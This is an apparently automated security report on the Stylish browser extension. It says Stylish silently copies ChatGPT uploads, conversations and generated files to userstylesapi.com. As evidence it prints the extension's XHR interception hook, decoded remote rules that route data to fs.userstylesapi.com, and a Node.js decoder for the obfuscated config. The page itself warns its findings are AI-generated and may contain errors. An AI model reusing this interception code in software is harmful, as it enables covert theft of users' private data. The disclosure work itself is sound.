Is Stylish - Custom themes for any website safe?

Critical risk

Stylish is critical risk. Uploading a file to ChatGPT, Stylish sends an identical copy to fs.userstylesapi.com. The original still reaches OpenAI, but a duplicate diverts to Stylish, no prompt. The rule is remote, changeable, covering any file type.…

userstyles.orgv3.4.18Chrome Web Store
100Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityCRITICAL
ClassUNWANTED
TypeUnexpected
CWECWE-200
SourceAI SANDBOX

Files You Upload to ChatGPT Are Copied to a Third-Party Server Without Notice

Uploading a file to ChatGPT, Stylish sends an identical copy to fs.userstylesapi.com.

The original still reaches OpenAI, but a duplicate diverts to Stylish, no prompt.

The rule is remote, changeable, covering any file type.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You upload any file to ChatGPT, a document, image, spreadsheet, or code file.

The extension did this

Stylish creates a copy of your file in memory and dispatches it to the service worker, which uploads it to fs.userstylesapi.com.

ChatGPT receives the file normally; you see no error or delay.

02EvidenceFIELD TABLE
What is copied from every ChatGPT file upload:
FieldValueWhy it matters
Full file contents
report_Q1_2026_financials.xlsx (23KB)The complete binary or text content of whatever you uploaded.
Original upload URL
https://files2.oaiusercontent.com/file-8bKcXp4rNqWz9uTyWhich OpenAI storage endpoint the file was sent to, encodes file ID and storage region.
File name
medical_records_2025.pdfThe original filename as you had it on your device.
MIME type
application/pdfThe file format, reveals what kind of data you are sharing with ChatGPT.
03EvidenceCODE COMPARE
The code that does this

The hook that intercepts file uploads (contentInt.js):

What it actually does
// Runs 1 second after an XHR.send() call.
// If the request carries a File (i.e. a file upload) and the rule matched:
setTimeout(() => {
  if (this["antifork+"] && arguments[0] instanceof File) {
    const fileName = arguments[0].name;
    const fileType = arguments[0].type;
    const blobUrl  = URL.createObjectURL(arguments[0]); // wrap file in memory blob URL
    self.dispatchEvent(new CustomEvent("antifork-fk", {
      detail: {
        way:  "xhr",
        ab:   blobUrl,          // blob URL pointing to the file data
        url:  this.unsafeHeaders, // original upload destination (oaiusercontent.com)
        name: fileName,
        type: fileType,
        fth:  this["fork_to_host"],  // = "fs.userstylesapi.com"
        c:    this[rule_object]       // the matching rule
      }
    }));
  }
}, 1000);
04EvidenceCODE COMPARE
The code that does this

The remote config rule that activates this (rule 27, decoded from userstylesapi.com/content/config):

What it actually does
{
  "configTarget": "content_request_fork_and_proxy",
  "type": "gpt_con_fork_upload",
  "page_url_match": "https:\/\/chat(gpt)?.com.*",
  "request_url_match": "https:\/\/files\\d{0,2}\\.oaiusercontent\\.com\/file-.*|https:\/\/sdmntpr\\w+\\.oaiusercontent\\.com\/files\/",
  "fork_to_host": "fs.userstylesapi.com"
}
05EvidenceTHIRD PARTY LIST
Where your files end up:
  • fs.userstylesapi.com

    File storage subdomain receiving forked ChatGPT uploads. Part of the userstylesapi.com infrastructure operated by SimilarWeb, Stylish's parent company.

  • files2.oaiusercontent.com

    OpenAI's legitimate file storage (original destination). The file also reaches OpenAI normally; the fork is additive.

SeverityCRITICAL
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

All ChatGPT Conversations Intercepted and Sent to Stylish Servers

With Stylish, ChatGPT chats are intercepted live: it replaces fetch on chatgpt.com, reads the streaming reply chunk by chunk before it appears, forwards it to the service worker, which POSTs to userstylesapi.com.

Confirmed with a marker.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You send any message on chatgpt.com while Stylish is installed.

The extension did this

Stylish intercepts the full conversation response, including your prompt and the AI's reply, before it finishes loading on screen.

The data is forwarded to Stylish's servers at userstylesapi.com. You have no way to disable this without removing the extension.

02EvidenceFIELD TABLE
What Stylish captures from each ChatGPT conversation:
FieldValueWhy it matters
Your message to ChatGPT
Write a Python script to parse my AWS credentials file at ~/.aws/credentialsThe full text you typed or pasted, including sensitive questions, passwords, private documents, and anything shared with the AI.
ChatGPT's full reply
Here is a Python script to read your AWS credentials...The complete AI response, including any content that reveals what you were researching or working on.
Conversation API URL
https://chatgpt.com/backend-api/conversationThe unique URL of this conversation thread, which includes your conversation ID.
Precise timestamp
1744640329122The exact time each message was sent, captured as performance.now() and Date.now().
Rule version identifier
8Which version of the interception rule was active (v2=8 in current config), allowing the server to correlate captures across rule updates.
03EvidenceCODE COMPARE
The code that does this

The rule that activates ChatGPT interception, from the live server config.

What it actually does
gpt_con_delta_fetch rule (annotated)
// This rule is delivered by userstylesapi.com and stored in chrome.storage.local.
// It tells the content script which ChatGPT requests to intercept.
//
// Plain-English translation:
//   - Only activate on pages matching: https://chatgpt.com/* (any ChatGPT page)
//   - Intercept requests matching: /backend-(api|anon)/(f/)?conversation/*
//     (covers all ChatGPT conversation API variants including Pro/Anon tiers)
//   - Only forward if response line matches SSE data format (event: ... / data: ...)
//   - Extract: version tag (v2=8), request URL, delivery method (fetch),
//     performance timestamp, datetime, and full conversation body
//     (SSE stream split into individual delta events, each JSON-parsed)
const gpt_con_delta_fetch = {
  configTarget: 'content_request_parser',
  version: { major: 1, minor: 17 },
  pageMatch:    /https:\/\/chatgpt\.com.*/,
  requestMatch: /https:\/\/chatgpt\.com\/backend-(api|anon)\/(f\/)?conversation.*/,
  // Only forward if response looks like an SSE stream:
  isOk:   /(?:event: (\w+)\n)?data: (.*)/,
  // What to extract from the intercepted response:
  extract: [
    { key: 'v2',            value: 8 },                    // rule version tag
    { key: 'url',           value: request.url },         // conversation URL
    { key: 'way',           value: 'fetch' },              // hook type
    { key: 'performance_now', value: performance.now() }, // sub-millisecond timestamp
    { key: 'datetime_now',  value: Date.now() },          // epoch timestamp
    { key: 'body',          value: parseSseStream(response.body) } // full conversation
  ]
};
04EvidenceARTIFACT
Reproduce it yourself

Decodes the column-transposition obfuscation Stylish uses to store its targeting config in chrome.storage.local. Run this to see the full 31-rule ruleset, including all AI targets (ChatGPT, Gemini, Claude, Perplexity, Character.AI).

RequiresNode.js 18+
stylish-config-decoder.js · js
#!/usr/bin/env node
/**
 * stylish-config-decoder.js
 *
 * Stylish (fjnbnpbmkenffdnngjfgmeleoegfcffe) stores its targeting config in
 * chrome.storage.local using a column-transposition cipher over base64.
 *
 * The cipher (freeParseInt in service-worker.js / contentDE.js):
 *   1. Split the obfuscated string 'e' on newlines -> matrix of rows
 *   2. Read column by column (column-major order) to produce a base64 string
 *   3. atob() decode -> JSON.parse()
 *
 * To capture the raw obfuscated config:
 *   1. Install Stylish in Chrome with Developer mode enabled.
 *   2. Open the Stylish service worker DevTools (chrome://extensions -> Stylish -> service worker).
 *   3. In the Console, run:
 *        chrome.storage.local.get('BufferEquals', data => console.log(JSON.stringify(data.BufferEquals)))
 *   4. Copy the output JSON array and save as config-raw.json
 *   5. Run: node stylish-config-decoder.js < config-raw.json
 *
 * Alternatively, intercept the userstylesapi.com/content/config POST response
 * directly in DevTools Network tab — the rules are returned as plaintext JSON.
 *
 * Known rule types in live config (fetched 2026-04-13, 31 rules):
 *   AI interception: gpt_con_delta_fetch, gpt_history_con_fetch, gpt_shopping_checkout_fetch,
 *                    gpt_shopping_purchase_fetch, gpt_chat_mf_fetch, gpt_file_download_similarweb,
 *                    gpt_con_fork_upload (file proxy to fs.userstylesapi.com),
 *                    bard_a_fetch, bard_q_fetch, bard_qa, bard_qa_voice,
 *                    claudeai_con_fetch, claudeai_qa_html,
 *                    perplexity_con_fetch, perplexity_html,
 *                    char_ai_qa, goaimo, cptqa, cptqa_v2
 *   Ad intelligence:  gpt_ads_all_types (VAST XML), gpt_all_file_req,
 *                    gptpar_ads_click, gpt_clk_html
 *   Misc:             anf_t (device fingerprint), cloudflare-req, gpt_account,
 *                    gptpar, gptpar_deepsearch, gpt_chat_con, gpt_chat_mf, gpt_para_con_fetch
 */

const readline = require('readline');

/**
 * Decode a single obfuscated rule object using freeParseInt column transposition.
 * @param {object} entry - Object with property 'e' containing the obfuscated string,
 *                         OR an already-decoded object with a 'type' property.
 */
function freeParseInt(entry) {
  // Already decoded (has 'type' property) -> pass through
  if (entry && Object.prototype.hasOwnProperty.call(entry, 'type')) return entry;
  
  const rows = entry.e.split('\n');
  const colCount = rows[0].length;
  let base64 = '';
  
  // Read column by column (same as the extension's freeParseInt)
  for (let col = 0; col < colCount; col++) {
    for (let row = 0; row < rows.length; row++) {
      const ch = rows[row].charAt(col);
      if (!ch) break;  // row is shorter than column count
      base64 += ch;
    }
  }
  
  return JSON.parse(Buffer.from(base64, 'base64').toString('utf8'));
}

async function main() {
  const chunks = [];
  process.stdin.on('data', c => chunks.push(c));
  await new Promise(r => process.stdin.on('end', r));
  
  const raw = JSON.parse(chunks.join(''));
  
  let rules;
  if (Array.isArray(raw)) {
    // Array of obfuscated entries OR already-decoded rules
    rules = raw.map(freeParseInt);
  } else if (raw && raw.e) {
    // Single obfuscated entry
    rules = [freeParseInt(raw)];
  } else {
    // Might already be plain JSON from the network response
    rules = Array.isArray(raw) ? raw : [raw];
  }
  
  // Print a summary table
  console.error('\n=== Stylish Targeting Rules (' + rules.length + ' total) ===\n');
  console.error('TYPE                          PAGE_URL_MATCH                    REQUEST_URL_MATCH');
  console.error('------------------------------  --------------------------------  -------------------------------');
  for (const rule of rules) {
    const type = (rule.type || '(unknown)').padEnd(30);
    const page = (rule.page_url_match || '(any page)').slice(0, 32).padEnd(34);
    const req  = (rule.request_url_match || '(any request)').slice(0, 32);
    console.error(type + page + req);
  }
  console.error('');
  
  // Output full decoded JSON to stdout
  process.stdout.write(JSON.stringify(rules, null, 2) + '\n');
}

main().catch(e => { console.error('Error:', e.message); process.exit(1); });
How to run it
  1. 1
    node stylish-config-decoder.js < config-raw.json
SeverityCRITICAL
ClassUNWANTED
TypeUnexpected
CWECWE-200
SourceAI SANDBOX

ChatGPT File Downloads Intercepted and Uploaded to SimilarWeb

When ChatGPT's code interpreter generates a file, Stylish intercepts it first: fetching it from OpenAI's signed URL, then uploading a copy to fs.userstylesapi.com labeled 'gpt-downloaded-model-generated'.

Tagged 'similarweb' in config.

01EvidenceCAUSE EFFECT
What actually happens
You did this

ChatGPT code interpreter finishes running and you are offered a file to download.

The extension did this

Stylish intercepts the download URL from ChatGPT's response, fetches the file itself, and uploads a copy to fs.userstylesapi.com tagged as a SimilarWeb asset.

Your file is downloaded normally, but an identical copy is now on SimilarWeb's servers.

02EvidenceFIELD TABLE
What is sent to SimilarWeb for each ChatGPT download:
FieldValueWhy it matters
The file itself
analysis_results_2026-04-13.csv (148KB)The full binary contents of the file ChatGPT generated for you.
OpenAI signed download URL
https://files.oaiusercontent.com/file-8xKpNqZ3?se=2026-04-14T00%3A00%3A00Z&sig=abc123The temporary URL OpenAI issued for this file, encodes the conversation and file ID.
File name
salary_projection_model.xlsxThe filename as ChatGPT assigned it.
Classification tag
gpt-downloaded-model-generatedA hardcoded label the extension applies to categorize this type of exfiltration.
Source API URL
https://chatgpt.com/backend-api/conversation/a1b2c3d4-e5f6-7890-ab12-cd34ef56gh78/interpreter/downloadThe ChatGPT conversation URL that triggered the download, revealing which conversation produced this file.
03EvidenceCODE COMPARE
The code that does this

The remote rule driving this (rule 26, decoded from /content/config):

What it actually does
{
  "configTarget": "content_request_parser",
  "vmajor": 1, "vminor": 23,
  "type": "gpt_file_download_similarweb",
  "page_url_match": "https:\/\/chatgpt.com.*",
  "request_url_match": "https:\/\/chatgpt\.com\/backend-(api|anon)\/conversation\/\\w+-\\w+-\\w+-\\w+-\\w+\/interpreter\/download",
  "isOk": { "type": "check", "if": "equals", "target": "application/json", "object": { "type": "smart-path", "path": "[ prop contentType ]" } },
  "analyse": {
    "type": "sequence",
    "seq": [
      // 1. Parse the JSON response to get download_url and file_name
      { "type": "var-set", "name": "JSON", "value": { "type": "util", "util": "json-parse", "object": { "type": "smart-path", "path": "[ prop message ]" } } },
      // 2. If download_url exists:
      { "type": "condition", "condition": { "type": "check", "if": "exists", "object": { "type": "smart-path", "path": "[ prop download_url ]", "object": { "type": "var-get", "name": "JSON" } } },
        "caseTrue": { "type": "sequence", "seq": [
          // 3. Fetch the file from OpenAI to a blob URL
          { "type": "var-set", "name": "OBJECT_URL", "value": { "type": "util", "util": "fetch-file-to-object-url", "url": { "type": "smart-path", "path": "[ prop download_url ]", "object": { "type": "var-get", "name": "JSON" } } } },
          // 4. Upload the blob to SimilarWeb's server
          { "type": "util", "util": "upload-object-url-via-service-worker",
            "objectUrl": { "type": "var-get", "name": "OBJECT_URL" },
            "uploadTo": "https://fs.userstylesapi.com/file-downloaded",
            "props": { "fileName": "...", "downloadUrl": "...", "requestType": "gpt-downloaded-model-generated", "sourceUrl": "..." }
          }
        ]}
      }
    ]
  },
  "filterPayload": { "type": "constant", "value": false }
}
04EvidencePLAIN NOTE
The 'similarweb' tag is the ownership smoking gun

The rule type is literally named `gpt_file_download_similarweb`. This is not inferred — it is the name assigned in the obfuscated remote config delivered from Stylish's own server. SimilarWeb acquired Stylish in 2017. This tag demonstrates that data collection from ChatGPT file downloads is classified as a SimilarWeb intelligence product inside the extension's own infrastructure.

05EvidenceTHIRD PARTY LIST
Where your generated files end up:
  • fs.userstylesapi.com

    File storage endpoint receiving ChatGPT-generated files. Subdomain of userstylesapi.com, SimilarWeb's Stylish infrastructure. Endpoint is /file-downloaded.

Our write-ups

Updated 10 September 2026fjnbnpbmkenffdnngjfgmeleoegfcffe